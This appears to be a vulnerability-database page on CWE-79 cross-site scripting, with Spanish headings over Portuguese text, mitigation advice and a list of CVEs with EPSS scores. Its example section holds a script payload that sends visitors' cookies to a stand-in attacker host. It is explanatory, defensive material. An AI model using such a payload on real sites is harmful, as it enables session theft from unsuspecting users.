Fallos del tipo CWE-79

28.456 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2010-3243MEDIUMCross-site scripting (XSS) vulnerability in the toStaticHTML function in Microsoft Internet Explorer 8, and the SafeHTML function in MicrosoEPSS 15.7%CVE-2025-30292MEDIUMColdFusion | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 15.5%CVE-2023-0507HIGHGrafana is an open-source platform for monitoring and observability. Starting with the 8.1 branch, Grafana had a stored XSS vulnerability EPSS 15.5%CVE-2024-47002HIGHA html code injection vulnerability exists in the vlan management part of Observium CE 24.4.13528. A specially crafted HTTP request can leadEPSS 15.4%CVE-2022-0437MEDIUMCross-site Scripting (XSS) - DOM in karma-runner/karmaEPSS 15.1%CVE-2025-34175MEDIUMNetgate pfSense CE Suricata package v7.0.8_2 Reflected Cross-Site ScriptingEPSS 14.8%CVE-2024-45741MEDIUMPersistent Cross-Site Scripting (XSS) via props.conf on Splunk EnterpriseEPSS 14.8%CVE-2024-31444MEDIUMCacti XSS vulnerability in lib/html.php by reading dirty data stored in databaseEPSS 14.7%CVE-2021-24291—Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)EPSS 14.4%CVE-2025-32794HIGHOpenEMR Stored XSS via Patient Name Field in Procedure OrdersEPSS 14.4%CVE-2021-21800CRITICALCross-site scripting vulnerabilities exist in the ssh_form.php script functionality of Advantech R-SeeNet v 2.4.12 (20.10.2020). If a user vEPSS 14.1%CVE-2025-43860HIGHOpemEMR Vulnerable to Stored XSS Attack in the Additional Address Section of Patient DemographicsEPSS 14.1%CVE-2025-50538HIGHFlowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.EPSS 14.0%CVE-2011-1252MEDIUMCross-site scripting (XSS) vulnerability in the SafeHTML function in the toStaticHTML API in Microsoft Internet Explorer 7 and 8, Office ShaEPSS 14.0%CVE-2021-24286—Redirect 404 to Parent < 1.3.1 - Reflected Cross-Site Scripting (XSS)EPSS 13.9%CVE-2019-3810MEDIUMA flaw was found in moodle versions 3.6 to 3.6.1, 3.5 to 3.5.3, 3.4 to 3.4.6, 3.1 to 3.1.15 and earlier unsupported versions. The /userpix/ EPSS 13.9%CVE-2025-52378MEDIUMCross-Site Scripting (XSS) vulnerability in Nexxt Solutions NCM-X1800 Mesh Router firmware UV1.2.7 and below allowing attackers to inject JaEPSS 13.9%CVE-2024-5410HIGHStored Cross-Site ScriptingEPSS 13.7%CVE-2022-0595—Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.6.3 - Unauthenticated Stored XSSEPSS 13.6%CVE-2007-4040HIGHArgument injection vulnerability involving Microsoft Outlook and Outlook Express, when certain URIs are registered, allows remote attackers EPSS 13.5%